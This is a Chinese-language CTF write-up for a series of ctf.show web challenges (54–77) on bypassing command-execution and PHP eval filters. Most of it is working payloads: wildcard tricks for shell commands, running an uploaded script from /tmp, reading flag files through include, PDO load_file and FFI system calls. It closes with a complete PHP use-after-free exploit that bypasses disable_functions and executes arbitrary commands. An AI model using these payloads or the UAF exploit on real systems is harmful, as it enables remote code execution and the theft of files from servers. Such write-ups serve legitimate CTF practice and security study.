WEB54
过滤了 一大堆东西,和之前不一样的是不能中间加\或者''绕过,但是可以用?和*
解法一:
没过滤rev函数,该函数是文件里面按字节逆序输出
c=rev${IFS}f???????
要手动或者脚本把flag逆序一下
方法二:
不能直接用cat,但是可以在cat路径里找到他,再用?模糊匹配
c=/bin/c??${IFS}f???????
WEB55
发现屏蔽了所有大小写字母 一开始是以为异或构造字符串
后来发现异或构造是针对php的eval之类的
因此这里要用别的方法
这里原理参考博客 链接
构造
前端代码
<!DOCTYPE html> <html lang="en"> <head> </head> <body> <form action="http://46b4f31d-1edf-45b7-88be-fc4f03cf3e41.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">//这里改一下 <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
上传sh.txt,内容是
#!/bin/sh ls
抓包:
PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
由于没过滤小数点,我们可以用小数点执行上传的sh文件
c=.%20/???/?????????
这时候发现没用
因为/tmp/中有其他符合的文件
继续用正则限制,注意不能有字母
c=.%20/???/????????[@-[]
最后一位范围限制在@到[之间也就是大写字母了
注意最后一位不一定是大写,可以多传几次
WEB56
同上
WEB57
看题目 告诉你flag在36.php里
然后 看传入的参数就是要输入36即可
shell中$(())表示运算,默认为0
$(( ~$(()) )) 取反后是-1,这里取反为啥是-1建议百度
同理
$(( $(( ~$(()) )) $(( ~$(()) )) )) 就是-2
$(( $(( ~$(()) ))*37 )) 就是-37
$(( ~$(( $(( ~$(()) ))*37 )) ))就是36
WEB58
换成post,试了试system发现被禁用了
打印phpinfo()试试,发现也被禁用了
方法有很多种
highlight_file() 和 highlight_file()都可以(目录可以用glob看)
c=highlight_file('flag.php');
WEB59-65
同上
这里方法很多就是了,我估计他限制越来越多,单他不说我也不知道每一题有什么区别。。
WEB66
这次不在flag.php了
打印到根目录
c=print_r(glob('/*'));
打印/flag.txt
c=highlight_file('/flag.txt');
WEB67
同上
WEB68
highlight_file被禁用了
print_r也没了
先打印目录
c=print(glob('/*'))[3];
尝试include,c=include('/flag.txt');
WEB69-70
同上
WEB71
继续c=include('/flag.txt'); 发现
猜测大小写字母变成?
本题有附件下载审计
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents();//返回输出缓冲区的内容 ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
正常思路是找函数以ASCII码或者hex读取文件
但是没找到,system啥的貌似也过滤了
看题解,在c参数传入exit(0),中途退出就好
c=include('/flag.txt');exit(0);
WEB72
同样有附件,先审计
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
代码貌似和72一样
但是c=include('/flag.txt');exit(0);报错
猜测是不存在该文件
可以使用DirectoryIterator来遍历所有文件名,存在一个数组里
$a=new DirectoryIterator("glob:///*");//glob://是文件匹配模式 /*是指根目录下所有文件 foreach($a as $f)//循环打印 {echo($f->__toString().' ');} exit(0);
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
再 c=include('/flag0.txt');exit(0); 发现还是报错
后面查询,要使用uaf脚本,这里过长,放在后面
WEB73
同上,打印文件目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
c=include('/flagc.txt');exit(0);
WEB74
同上
c=include('/flagx.txt');exit(0);
WEB75
发现include用不了
看hint,发现使用数据库
try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(0); } exit(0); 同样要url编码
WEB76
同上,脚本加个d
WEB77
这题在题干中说到php7.4,可以想到FFI来绕过(其实是看博客的)
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
打印目录
flag36x.txt没用 flag在readflag里
传入
c= $ffi = FFI::cdef( "int system(const char *command);"); $ffi->system("/readflag > a.txt"); exit();
注意这里没回显的
访问 /a.txt
72脚本
c=function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); #需要通过url编码,带着空格和换行符